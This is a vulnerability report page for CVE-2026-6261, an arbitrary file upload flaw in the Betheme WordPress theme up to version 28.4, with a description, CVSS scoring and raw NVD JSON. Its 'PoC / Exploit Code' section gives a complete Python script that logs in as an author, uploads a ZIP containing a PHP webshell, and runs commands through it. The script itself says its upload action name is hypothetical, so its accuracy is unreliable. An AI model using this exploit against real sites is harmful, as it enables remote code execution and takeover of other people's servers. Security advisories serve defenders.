Security Vulnerability Report
中文
CVE-2026-6261 CVSS 8.8 HIGH

CVE-2026-6261

Published: 2026-05-05 12:16:21
Last Modified: 2026-05-05 19:08:20

Description

The Betheme theme for WordPress is vulnerable to Arbitrary File Upload in versions up to, and including, 28.4. This is due to the upload_icons() function workflow moving and unzipping user-controlled ZIP files into a public uploads directory without validating extracted file types. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files (including PHP) and achieve remote code execution via the Icons icon-pack upload flow.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Betheme <= 28.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import zipfile import io # Configuration target_url = "http://example.com" username = "author" password = "password" login_url = f"{target_url}/wp-login.php" upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Create malicious ZIP file containing PHP shell zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Adding a simple PHP webshell zf.writestr('shell.php', '<?php system($_GET["cmd"]); ?>') malicious_zip = zip_buffer.getvalue() # Start session and authenticate session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': upload_url } session.post(login_url, data=login_data) # Exploit: Upload the malicious ZIP file # Note: The specific action parameter 'mfn_upload_icon' is hypothetical based on the vulnerability description files = { 'file': ('exploit.zip', malicious_zip, 'application/zip') } data = { 'action': 'mfn_upload_icon' # Vulnerable action in Betheme theme } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] Upload likely successful.") # Attempt to access the uploaded shell # The path depends on the unzip logic, usually in uploads/year/month/ shell_url = f"{target_url}/wp-content/uploads/shell.php?cmd=whoami" r = session.get(shell_url) if r.status_code == 200: print(f"[+] RCE successful! Output: {r.text}") else: print("[-] Failed to access shell. Check path.") else: print("[-] Upload failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6261", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:21.453", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Betheme theme for WordPress is vulnerable to Arbitrary File Upload in versions up to, and including, 28.4. This is due to the upload_icons() function workflow moving and unzipping user-controlled ZIP files into a public uploads directory without validating extracted file types. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files (including PHP) and achieve remote code execution via the Icons icon-pack upload flow."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://support.muffingroup.com/changelog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/722c04c3-8f74-4081-b3a4-cb1ae2027312?source=cve", "source": "[email protected]"}]}}